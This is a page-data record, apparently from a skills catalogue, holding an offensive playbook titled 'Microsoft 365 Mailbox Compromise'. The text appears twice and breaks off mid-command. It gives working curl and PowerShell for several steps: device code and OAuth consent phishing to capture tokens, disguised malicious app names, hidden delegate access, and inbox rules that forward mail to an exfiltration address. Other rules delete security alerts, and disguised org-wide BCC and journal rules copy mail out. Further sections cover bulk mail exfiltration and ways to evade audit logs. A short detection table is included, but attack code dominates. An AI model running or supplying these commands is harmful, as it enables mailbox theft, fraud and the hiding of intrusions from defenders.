[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DFC5G5Z96NP2C7CS7W4KHE":3,"skill-same:01M7DFC5G5Z96NP2C7CS7W4KHE":49},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":29,"commitSha":30,"skillDirectory":31,"forksCount":14,"repositoryHtmlUrl":32,"repositoryHomepageUrl":6,"ownerHtmlUrl":33,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":34,"install":35,"resources":48},"01M7DFC5G5Z96NP2C7CS7W4KHE","m365-mailbox-compromise",null,"Microsoft 365 mailbox compromise chain — OAuth consent phishing, delegate access abuse, mail rule persistence, and token theft via device code phishing. Full kill chain from initial access to persistent email collection.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fcloud\u002Fm365-mailbox-compromise\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: m365-mailbox-compromise\ndescription: \"Microsoft 365 mailbox compromise chain — OAuth consent phishing, delegate access abuse, mail rule persistence, and token theft via device code phishing. Full kill chain from initial access to persistent email collection.\"\nmetadata:\n  subdomain: cloud\n  when_to_use: \"m365 microsoft 365 office 365 mailbox compromise oauth consent phishing device code phishing delegate access mail rule forwarding application impersonation exchange online token theft email collection outlook graph api\"\n  mitre_attack: \"T1528, T1098.002, T1114.002, T1137\"\n  tags: \"cloud m365 oauth phishing email-collection persistence\"\n---\n\n# Microsoft 365 Mailbox Compromise\n\nTargets Microsoft 365 tenants through OAuth consent grants, device code phishing, delegate access abuse, and mail flow rule persistence. Provides silent, persistent email collection that survives password resets and MFA changes.\n\n## Quick Reference\n\n```bash\n# Device code phishing — initiate auth flow\ncurl -s \"https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Fdevicecode\" \\\n  -d \"client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=offline_access Mail.Read Mail.ReadWrite\"\n\n# Poll for token after victim enters code\ncurl -s \"https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Ftoken\" \\\n  -d \"grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&device_code=\u003CDEVICE_CODE>\"\n\n# List mailbox messages via Graph API\ncurl -s \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme\u002Fmessages?\\$top=50&\\$select=subject,from,receivedDateTime\" \\\n  -H \"Authorization: Bearer \u003CACCESS_TOKEN>\" | jq '.value[] | {subject,from,receivedDateTime}'\n\n# Create inbox forwarding rule\ncurl -s -X POST \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme\u002FmailFolders\u002Finbox\u002FmessageRules\" \\\n  -H \"Authorization: Bearer \u003CACCESS_TOKEN>\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"displayName\":\"\",\"isEnabled\":true,\"sequence\":1,\"conditions\":{\"subjectContains\":[\"invoice\",\"payment\",\"wire\",\"transfer\"]},\"actions\":{\"forwardTo\":[{\"emailAddress\":{\"address\":\"\u003CEXFIL_EMAIL>\"}}]}}'\n```\n\n## MITRE ATT&CK Mapping\n\n| Technique | ID | Application |\n|---|---|---|\n| Steal Application Access Token | T1528 | OAuth consent grant or device code phishing for Graph API tokens |\n| Additional Email Delegate Permissions | T1098.002 | Add mailbox delegate or ApplicationImpersonation role |\n| Remote Email Collection | T1114.002 | Exfiltrate mail via Graph API or EWS |\n| Office Application Startup | T1137 | Outlook rules, forms, and home page for persistence |\n| Phishing: Spearphishing Link | T1566.002 | OAuth consent phishing URL delivery |\n| Account Manipulation | T1098 | Mail flow rule creation for persistent forwarding |\n\n## 1. OAuth Consent Grant Phishing\n\n### Craft Malicious OAuth Application\n```bash\n# Register app in attacker-controlled Azure AD tenant\n# Azure Portal → App Registrations → New Registration\n# Redirect URI: https:\u002F\u002F\u003CATTACKER_DOMAIN>\u002Fcallback\n# Request permissions: Mail.Read, Mail.ReadWrite, Contacts.Read, Files.Read\n\n# Build consent URL — victim clicking grants access\nCONSENT_URL=\"https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Fadminconsent?client_id=\u003CMALICIOUS_APP_ID>&redirect_uri=https:\u002F\u002F\u003CATTACKER_DOMAIN>\u002Fcallback&scope=https:\u002F\u002Fgraph.microsoft.com\u002F.default\"\n\n# For user-level consent (no admin required):\nUSER_CONSENT=\"https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Fauthorize?client_id=\u003CMALICIOUS_APP_ID>&response_type=code&redirect_uri=https:\u002F\u002F\u003CATTACKER_DOMAIN>\u002Fcallback&scope=Mail.Read+Mail.ReadWrite+offline_access&response_mode=query\"\n\n# After victim consents, exchange auth code for tokens\ncurl -s -X POST \"https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Ftoken\" \\\n  -d \"client_id=\u003CMALICIOUS_APP_ID>&client_secret=\u003CAPP_SECRET>&code=\u003CAUTH_CODE>&redirect_uri=https:\u002F\u002F\u003CATTACKER_DOMAIN>\u002Fcallback&grant_type=authorization_code\"\n```\n\n### Evasion: Disguise the Application\n```bash\n# Name the app to look legitimate:\n#   \"Microsoft Security Update\"\n#   \"IT Helpdesk Portal\"\n#   \"SharePoint Document Viewer\"\n# Use a publisher domain similar to target org\n# Request minimal permissions initially, escalate later via incremental consent\n```\n\n## 2. Device Code Phishing\n\n```bash\n# Step 1: Generate device code (no victim interaction yet)\nRESP=$(curl -s \"https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Fdevicecode\" \\\n  -d \"client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=offline_access Mail.Read Mail.ReadWrite Mail.Send User.Read\")\n\nDEVICE_CODE=$(echo \"$RESP\" | jq -r '.device_code')\nUSER_CODE=$(echo \"$RESP\" | jq -r '.user_code')\nVERIFY_URL=$(echo \"$RESP\" | jq -r '.verification_uri')\necho \"Send victim to: $VERIFY_URL and enter code: $USER_CODE\"\n\n# Step 2: Send phishing message directing victim to https:\u002F\u002Fmicrosoft.com\u002Fdevicelogin\n# Pretext: \"MFA re-enrollment required\" \u002F \"Security verification\" \u002F \"Teams meeting access\"\n\n# Step 3: Poll for token completion (victim enters code and authenticates)\nwhile true; do\n  TOKEN_RESP=$(curl -s \"https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Ftoken\" \\\n    -d \"grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&device_code=$DEVICE_CODE\")\n  \n  if echo \"$TOKEN_RESP\" | jq -e '.access_token' > \u002Fdev\u002Fnull 2>&1; then\n    echo \"$TOKEN_RESP\" | jq '{access_token,refresh_token,expires_in}' > \u002Ftmp\u002Fm365_tokens.json\n    echo \"[+] Token captured!\"\n    break\n  fi\n  sleep 5\ndone\n\n# Step 4: Use refresh token for persistent access (survives password change)\nREFRESH_TOKEN=$(jq -r '.refresh_token' \u002Ftmp\u002Fm365_tokens.json)\ncurl -s \"https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Ftoken\" \\\n  -d \"client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&grant_type=refresh_token&refresh_token=$REFRESH_TOKEN&scope=offline_access Mail.Read Mail.ReadWrite\"\n```\n\n## 3. ApplicationImpersonation & Delegate Access\n\n```bash\n# If Exchange admin access is obtained:\n\n# Grant ApplicationImpersonation role (access ANY mailbox)\n# PowerShell via Graph\u002FEWS:\n# New-ManagementRoleAssignment -Role \"ApplicationImpersonation\" -User \"\u003CCOMPROMISED_ADMIN>\"\n\n# Add mailbox delegate (victim won't see in Outlook UI easily)\ncurl -s -X POST \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fusers\u002F\u003CVICTIM_UPN>\u002FmailFolders\u002Finbox\u002Fpermissions\" \\\n  -H \"Authorization: Bearer \u003CADMIN_TOKEN>\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"emailAddress\":{\"address\":\"\u003CATTACKER_UPN>\"},\"role\":\"read\"}'\n\n# Full mailbox access via EWS impersonation\ncurl -s \"https:\u002F\u002Foutlook.office365.com\u002FEWS\u002FExchange.asmx\" \\\n  -H \"Content-Type: text\u002Fxml\" \\\n  -H \"Authorization: Bearer \u003CTOKEN>\" \\\n  -d '\u003C?xml version=\"1.0\"?>\n\u003Csoap:Envelope xmlns:soap=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\"\n  xmlns:t=\"http:\u002F\u002Fschemas.microsoft.com\u002Fexchange\u002Fservices\u002F2006\u002Ftypes\"\n  xmlns:m=\"http:\u002F\u002Fschemas.microsoft.com\u002Fexchange\u002Fservices\u002F2006\u002Fmessages\">\n  \u003Csoap:Header>\n    \u003Ct:ExchangeImpersonation>\n      \u003Ct:ConnectingSID>\u003Ct:PrimarySmtpAddress>\u003CVICTIM_EMAIL>\u003C\u002Ft:PrimarySmtpAddress>\u003C\u002Ft:ConnectingSID>\n    \u003C\u002Ft:ExchangeImpersonation>\n  \u003C\u002Fsoap:Header>\n  \u003Csoap:Body>\n    \u003Cm:FindItem Traversal=\"Shallow\">\n      \u003Cm:ItemShape>\u003Ct:BaseShape>Default\u003C\u002Ft:BaseShape>\u003C\u002Fm:ItemShape>\n      \u003Cm:ParentFolderIds>\u003Ct:DistinguishedFolderId Id=\"inbox\"\u002F>\u003C\u002Fm:ParentFolderIds>\n    \u003C\u002Fm:FindItem>\n  \u003C\u002Fsoap:Body>\n\u003C\u002Fsoap:Envelope>'\n\n# Grant full access to mailbox via PowerShell\n# Add-MailboxPermission -Identity \u003CVICTIM> -User \u003CATTACKER> -AccessRights FullAccess -AutoMapping $false\n# AutoMapping:$false prevents it from showing in Outlook — stealthier\n```\n\n## 4. Mail Rule Persistence\n\n### Inbox Rules via Graph API\n```bash\n# Create hidden forwarding rule\ncurl -s -X POST \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme\u002FmailFolders\u002Finbox\u002FmessageRules\" \\\n  -H \"Authorization: Bearer \u003CTOKEN>\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\n    \"displayName\": \" \",\n    \"sequence\": 1,\n    \"isEnabled\": true,\n    \"conditions\": {\n      \"bodyContains\": [\"password\",\"credential\",\"vpn\",\"token\",\"secret\",\"wire\",\"invoice\",\"payment\"]\n    },\n    \"actions\": {\n      \"forwardTo\": [{\"emailAddress\":{\"address\":\"\u003CEXFIL_EMAIL>\"}}],\n      \"markAsRead\": true,\n      \"moveToFolder\": \"inbox\"\n    }\n  }'\n\n# Create rule that deletes security alerts (cover tracks)\ncurl -s -X POST \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme\u002FmailFolders\u002Finbox\u002FmessageRules\" \\\n  -H \"Authorization: Bearer \u003CTOKEN>\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\n    \"displayName\": \" \",\n    \"sequence\": 2,\n    \"isEnabled\": true,\n    \"conditions\": {\n      \"fromContains\": [\"security@\",\"noreply@microsoft\",\"alerts@\"]\n    },\n    \"actions\": {\n      \"delete\": true,\n      \"permanentDelete\": true\n    }\n  }'\n\n# List existing rules (check for defender-created rules)\ncurl -s \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme\u002FmailFolders\u002Finbox\u002FmessageRules\" \\\n  -H \"Authorization: Bearer \u003CTOKEN>\" | jq '.value[] | {displayName,isEnabled,conditions,actions}'\n```\n\n### Transport\u002FMail Flow Rules (Admin-Level)\n```bash\n# Exchange admin: create org-wide BCC rule\n# New-TransportRule -Name \"Compliance Journaling\" -SentToScope InOrganization \\\n#   -BlindCopyTo \"\u003CEXFIL_EMAIL>\" -SubjectContainsWords \"confidential\",\"acquisition\",\"merger\"\n\n# Journal rule (copies ALL mail to external address)\n# New-JournalRule -Name \"Legal Hold\" -JournalEmailAddress \"\u003CEXFIL_EMAIL>\" \\\n#   -Scope Global -Enabled $true\n```\n\n## 5. Email Collection & Exfiltration\n\n```bash\n# Bulk email download via Graph API\nACCESS_TOKEN=\"\u003CTOKEN>\"\n\n# Search for high-value emails\ncurl -s \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme\u002Fmessages?\\$search=\\\"password OR credential OR vpn OR secret\\\"&\\$top=100&\\$select=subject,from,body,hasAttachments,receivedDateTime\" \\\n  -H \"Authorization: Bearer $ACCESS_TOKEN\" > \u002Ftmp\u002Fm365_search.json\n\n# Download all attachments\ncurl -s \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme\u002Fmessages?\\$filter=hasAttachments eq true&\\$top=50\" \\\n  -H \"Authorization: Bearer $ACCESS_TOKEN\" | jq -r '.value[].id' | while read msgid; do\n  curl -s \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme\u002Fmessages\u002F$msgid\u002Fattachments\" \\\n    -H \"Authorization: Bearer $ACCESS_TOKEN\" | jq -r '.value[] | .name + \" \" + .contentBytes' >> \u002Ftmp\u002Fm365_attachments.txt\ndone\n\n# Access other users' mailboxes (with ApplicationImpersonation)\ncurl -s \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fusers\u002F\u003CVICTIM_UPN>\u002Fmessages?\\$top=50\" \\\n  -H \"Authorization: Bearer $ACCESS_TOKEN\" | jq '.value[] | {subject,from}'\n\n# OneDrive\u002FSharePoint access with same token (if scoped)\ncurl -s \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme\u002Fdrive\u002Froot\u002Fchildren\" \\\n  -H \"Authorization: Bearer $ACCESS_TOKEN\" | jq '.value[] | {name,size,lastModifiedDateTime}'\n```\n\n## 6. Token Refresh & Long-Term Persistence\n\n```bash\n# Refresh tokens last 90 days by default (can be revoked)\n# Keep refreshing before expiry to maintain access indefinitely\n\n# Automated token refresh loop\nREFRESH_TOKEN=$(jq -r '.refresh_token' \u002Ftmp\u002Fm365_tokens.json)\nNEW_TOKENS=$(curl -s \"https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Ftoken\" \\\n  -d \"client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&grant_type=refresh_token&refresh_token=$REFRESH_TOKEN&scope=offline_access Mail.Read Mail.ReadWrite\")\necho \"$NEW_TOKENS\" > \u002Ftmp\u002Fm365_tokens.json\n\n# Check token validity\ncurl -s \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme\" \\\n  -H \"Authorization: Bearer $(jq -r '.access_token' \u002Ftmp\u002Fm365_tokens.json)\" | jq '{displayName,mail,userPrincipalName}'\n\n# If refresh token is revoked, fall back to:\n# 1. Consent grant still active → re-authenticate via consent URL\n# 2. Mail forwarding rules still active → passive collection continues\n# 3. Delegate permissions still active → access via different compromised account\n```\n\n## Tools & Resources\n\n| Tool | Purpose |\n|---|---|\n| TokenTactics (PowerShell) | Device code phishing and token manipulation |\n| AADInternals | Azure AD \u002F M365 enumeration and abuse |\n| ROADtools | Azure AD data collection and analysis |\n| GraphRunner | Graph API post-exploitation framework |\n| Mailsniper | Exchange\u002FM365 mailbox enumeration |\n| o365creeper | M365 user enumeration via ActiveSync |\n| Hawk | M365 forensic log analysis (know your enemy) |\n\n## Detection Signatures\n\n| Indicator | Detection Method |\n|---|---|\n| OAuth consent grant to unknown app | Azure AD sign-in logs: `ConsentGrant` activity |\n| Device code flow from unusual IP | Azure AD: `DeviceCodeFlow` auth event with risky IP |\n| ApplicationImpersonation role assignment | Unified Audit Log: `New-ManagementRoleAssignment` |\n| Inbox rule with external forwarding | Exchange audit: `New-InboxRule` with `ForwardTo` external |\n| Mail flow rule with BCC to external | Exchange admin audit: `New-TransportRule` |\n| Graph API bulk message access | Azure AD sign-in: high-volume `Mail.Read` scoped token usage |\n| Delegate mailbox access added | Exchange audit: `Add-MailboxPermission` with `FullAccess` |\n| Refresh token from new device\u002FIP | Azure AD: continuous access evaluation (CAE) alerts |\n\n## Error Handling & Edge Cases\n\n- **Consent blocked by admin policy**: Target tenants with `User.ReadWrite.All` admin consent required; use device code flow instead — it uses first-party Microsoft client IDs\n- **Conditional Access Policy blocks token**: Some CAs require compliant device; device code flow from attacker machine may be blocked — chain with compromised endpoint\n- **Refresh token revoked**: Fall back to active mail rules or delegate access; these persist independently of token state\n- **Audit logs enabled**: Operate during business hours; blend Graph API calls with legitimate patterns; use first-party client IDs to avoid suspicious app registrations\n- **MFA on target account**: Device code phishing bypasses MFA — victim authenticates with their MFA; token captured post-authentication\n- **Mailbox audit logging**: Modern M365 enables mailbox auditing by default; minimize API calls, use `$select` to reduce logged scope\n\n## Decision Gate\n\n```\nIF initial access to M365 account:\n  → Deploy inbox forwarding rule for passive collection\n  → Create hidden mail rule matching high-value keywords\n  → Exfiltrate recent email via Graph API search\n  → Refresh token on schedule to maintain access\n\nIF Exchange admin access:\n  → Grant ApplicationImpersonation for cross-mailbox access\n  → Create transport rule for org-wide BCC\n  → Target executive\u002Ffinance mailboxes specifically\n\nIF no credentials but phishing opportunity:\n  → Device code phishing (bypasses MFA, uses legitimate Microsoft URL)\n  → Fallback: OAuth consent grant phishing (requires app registration)\n  → Last resort: credential phishing (less effective with MFA)\n\nIF access is detected\u002Frevoked:\n  → Mail rules persist after password reset — check if still forwarding\n  → Delegate permissions persist after token revocation — re-authenticate\n  → OAuth consent grants persist until explicitly revoked by admin\n```\n","# Microsoft 365 Mailbox Compromise\n\nTargets Microsoft 365 tenants through OAuth consent grants, device code phishing, delegate access abuse, and mail flow rule persistence. Provides silent, persistent email collection that survives password resets and MFA changes.\n\n## Quick Reference\n\n```bash\n# Device code phishing — initiate auth flow\ncurl -s \"https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Fdevicecode\" \\\n  -d \"client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=offline_access Mail.Read Mail.ReadWrite\"\n\n# Poll for token after victim enters code\ncurl -s \"https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Ftoken\" \\\n  -d \"grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&device_code=\u003CDEVICE_CODE>\"\n\n# List mailbox messages via Graph API\ncurl -s \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme\u002Fmessages?\\$top=50&\\$select=subject,from,receivedDateTime\" \\\n  -H \"Authorization: Bearer \u003CACCESS_TOKEN>\" | jq '.value[] | {subject,from,receivedDateTime}'\n\n# Create inbox forwarding rule\ncurl -s -X POST \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme\u002FmailFolders\u002Finbox\u002FmessageRules\" \\\n  -H \"Authorization: Bearer \u003CACCESS_TOKEN>\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"displayName\":\"\",\"isEnabled\":true,\"sequence\":1,\"conditions\":{\"subjectContains\":[\"invoice\",\"payment\",\"wire\",\"transfer\"]},\"actions\":{\"forwardTo\":[{\"emailAddress\":{\"address\":\"\u003CEXFIL_EMAIL>\"}}]}}'\n```\n\n## MITRE ATT&CK Mapping\n\n| Technique | ID | Application |\n|---|---|---|\n| Steal Application Access Token | T1528 | OAuth consent grant or device code phishing for Graph API tokens |\n| Additional Email Delegate Permissions | T1098.002 | Add mailbox delegate or ApplicationImpersonation role |\n| Remote Email Collection | T1114.002 | Exfiltrate mail via Graph API or EWS |\n| Office Application Startup | T1137 | Outlook rules, forms, and home page for persistence |\n| Phishing: Spearphishing Link | T1566.002 | OAuth consent phishing URL delivery |\n| Account Manipulation | T1098 | Mail flow rule creation for persistent forwarding |\n\n## 1. OAuth Consent Grant Phishing\n\n### Craft Malicious OAuth Application\n```bash\n# Register app in attacker-controlled Azure AD tenant\n# Azure Portal → App Registrations → New Registration\n# Redirect URI: https:\u002F\u002F\u003CATTACKER_DOMAIN>\u002Fcallback\n# Request permissions: Mail.Read, Mail.ReadWrite, Contacts.Read, Files.Read\n\n# Build consent URL — victim clicking grants access\nCONSENT_URL=\"https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Fadminconsent?client_id=\u003CMALICIOUS_APP_ID>&redirect_uri=https:\u002F\u002F\u003CATTACKER_DOMAIN>\u002Fcallback&scope=https:\u002F\u002Fgraph.microsoft.com\u002F.default\"\n\n# For user-level consent (no admin required):\nUSER_CONSENT=\"https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Fauthorize?client_id=\u003CMALICIOUS_APP_ID>&response_type=code&redirect_uri=https:\u002F\u002F\u003CATTACKER_DOMAIN>\u002Fcallback&scope=Mail.Read+Mail.ReadWrite+offline_access&response_mode=query\"\n\n# After victim consents, exchange auth code for tokens\ncurl -s -X POST \"https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Ftoken\" \\\n  -d \"client_id=\u003CMALICIOUS_APP_ID>&client_secret=\u003CAPP_SECRET>&code=\u003CAUTH_CODE>&redirect_uri=https:\u002F\u002F\u003CATTACKER_DOMAIN>\u002Fcallback&grant_type=authorization_code\"\n```\n\n### Evasion: Disguise the Application\n```bash\n# Name the app to look legitimate:\n#   \"Microsoft Security Update\"\n#   \"IT Helpdesk Portal\"\n#   \"SharePoint Document Viewer\"\n# Use a publisher domain similar to target org\n# Request minimal permissions initially, escalate later via incremental consent\n```\n\n## 2. Device Code Phishing\n\n```bash\n# Step 1: Generate device code (no victim interaction yet)\nRESP=$(curl -s \"https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Fdevicecode\" \\\n  -d \"client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=offline_access Mail.Read Mail.ReadWrite Mail.Send User.Read\")\n\nDEVICE_CODE=$(echo \"$RESP\" | jq -r '.device_code')\nUSER_CODE=$(echo \"$RESP\" | jq -r '.user_code')\nVERIFY_URL=$(echo \"$RESP\" | jq -r '.verification_uri')\necho \"Send victim to: $VERIFY_URL and enter code: $USER_CODE\"\n\n# Step 2: Send phishing message directing victim to https:\u002F\u002Fmicrosoft.com\u002Fdevicelogin\n# Pretext: \"MFA re-enrollment required\" \u002F \"Security verification\" \u002F \"Teams meeting access\"\n\n# Step 3: Poll for token completion (victim enters code and authenticates)\nwhile true; do\n  TOKEN_RESP=$(curl -s \"https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Ftoken\" \\\n    -d \"grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&device_code=$DEVICE_CODE\")\n  \n  if echo \"$TOKEN_RESP\" | jq -e '.access_token' > \u002Fdev\u002Fnull 2>&1; then\n    echo \"$TOKEN_RESP\" | jq '{access_token,refresh_token,expires_in}' > \u002Ftmp\u002Fm365_tokens.json\n    echo \"[+] Token captured!\"\n    break\n  fi\n  sleep 5\ndone\n\n# Step 4: Use refresh token for persistent access (survives password change)\nREFRESH_TOKEN=$(jq -r '.refresh_token' \u002Ftmp\u002Fm365_tokens.json)\ncurl -s \"https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Ftoken\" \\\n  -d \"client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&grant_type=refresh_token&refresh_token=$REFRESH_TOKEN&scope=offline_access Mail.Read Mail.ReadWrite\"\n```\n\n## 3. ApplicationImpersonation & Delegate Access\n\n```bash\n# If Exchange admin access is obtained:\n\n# Grant ApplicationImpersonation role (access ANY mailbox)\n# PowerShell via Graph\u002FEWS:\n# New-ManagementRoleAssignment -Role \"ApplicationImpersonation\" -User \"\u003CCOMPROMISED_ADMIN>\"\n\n# Add mailbox delegate (victim won't see in Outlook UI easily)\ncurl -s -X POST \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fusers\u002F\u003CVICTIM_UPN>\u002FmailFolders\u002Finbox\u002Fpermissions\" \\\n  -H \"Authorization: Bearer \u003CADMIN_TOKEN>\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"emailAddress\":{\"address\":\"\u003CATTACKER_UPN>\"},\"role\":\"read\"}'\n\n# Full mailbox access via EWS impersonation\ncurl -s \"https:\u002F\u002Foutlook.office365.com\u002FEWS\u002FExchange.asmx\" \\\n  -H \"Content-Type: text\u002Fxml\" \\\n  -H \"Authorization: Bearer \u003CTOKEN>\" \\\n  -d '\u003C?xml version=\"1.0\"?>\n\u003Csoap:Envelope xmlns:soap=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\"\n  xmlns:t=\"http:\u002F\u002Fschemas.microsoft.com\u002Fexchange\u002Fservices\u002F2006\u002Ftypes\"\n  xmlns:m=\"http:\u002F\u002Fschemas.microsoft.com\u002Fexchange\u002Fservices\u002F2006\u002Fmessages\">\n  \u003Csoap:Header>\n    \u003Ct:ExchangeImpersonation>\n      \u003Ct:ConnectingSID>\u003Ct:PrimarySmtpAddress>\u003CVICTIM_EMAIL>\u003C\u002Ft:PrimarySmtpAddress>\u003C\u002Ft:ConnectingSID>\n    \u003C\u002Ft:ExchangeImpersonation>\n  \u003C\u002Fsoap:Header>\n  \u003Csoap:Body>\n    \u003Cm:FindItem Traversal=\"Shallow\">\n      \u003Cm:ItemShape>\u003Ct:BaseShape>Default\u003C\u002Ft:BaseShape>\u003C\u002Fm:ItemShape>\n      \u003Cm:ParentFolderIds>\u003Ct:DistinguishedFolderId Id=\"inbox\"\u002F>\u003C\u002Fm:ParentFolderIds>\n    \u003C\u002Fm:FindItem>\n  \u003C\u002Fsoap:Body>\n\u003C\u002Fsoap:Envelope>'\n\n# Grant full access to mailbox via PowerShell\n# Add-MailboxPermission -Identity \u003CVICTIM> -User \u003CATTACKER> -AccessRights FullAccess -AutoMapping $false\n# AutoMapping:$false prevents it from showing in Outlook — stealthier\n```\n\n## 4. Mail Rule Persistence\n\n### Inbox Rules via Graph API\n```bash\n# Create hidden forwarding rule\ncurl -s -X POST \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme\u002FmailFolders\u002Finbox\u002FmessageRules\" \\\n  -H \"Authorization: Bearer \u003CTOKEN>\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\n    \"displayName\": \" \",\n    \"sequence\": 1,\n    \"isEnabled\": true,\n    \"conditions\": {\n      \"bodyContains\": [\"password\",\"credential\",\"vpn\",\"token\",\"secret\",\"wire\",\"invoice\",\"payment\"]\n    },\n    \"actions\": {\n      \"forwardTo\": [{\"emailAddress\":{\"address\":\"\u003CEXFIL_EMAIL>\"}}],\n      \"markAsRead\": true,\n      \"moveToFolder\": \"inbox\"\n    }\n  }'\n\n# Create rule that deletes security alerts (cover tracks)\ncurl -s -X POST \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme\u002FmailFolders\u002Finbox\u002FmessageRules\" \\\n  -H \"Authorization: Bearer \u003CTOKEN>\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\n    \"displayName\": \" \",\n    \"sequence\": 2,\n    \"isEnabled\": true,\n    \"conditions\": {\n      \"fromContains\": [\"security@\",\"noreply@microsoft\",\"alerts@\"]\n    },\n    \"actions\": {\n      \"delete\": true,\n      \"permanentDelete\": true\n    }\n  }'\n\n# List existing rules (check for defender-created rules)\ncurl -s \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme\u002FmailFolders\u002Finbox\u002FmessageRules\" \\\n  -H \"Authorization: Bearer \u003CTOKEN>\" | jq '.value[] | {displayName,isEnabled,conditions,actions}'\n```\n\n### Transport\u002FMail Flow Rules (Admin-Level)\n```bash\n# Exchange admin: create org-wide BCC rule\n# New-TransportRule -Name \"Compliance Journaling\" -SentToScope InOrganization \\\n#   -BlindCopyTo \"\u003CEXFIL_EMAIL>\" -SubjectContainsWords \"confidential\",\"acquisition\",\"merger\"\n\n# Journal rule (copies ALL mail to external address)\n# New-JournalRule -Name \"Legal Hold\" -JournalEmailAddress \"\u003CEXFIL_EMAIL>\" \\\n#   -Scope Global -Enabled $true\n```\n\n## 5. Email Collection & Exfiltration\n\n```bash\n# Bulk email download via Graph API\nACCESS_TOKEN=\"\u003CTOKEN>\"\n\n# Search for high-value emails\ncurl -s \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme\u002Fmessages?\\$search=\\\"password OR credential OR vpn OR secret\\\"&\\$top=100&\\$select=subject,from,body,hasAttachments,receivedDateTime\" \\\n  -H \"Authorization: 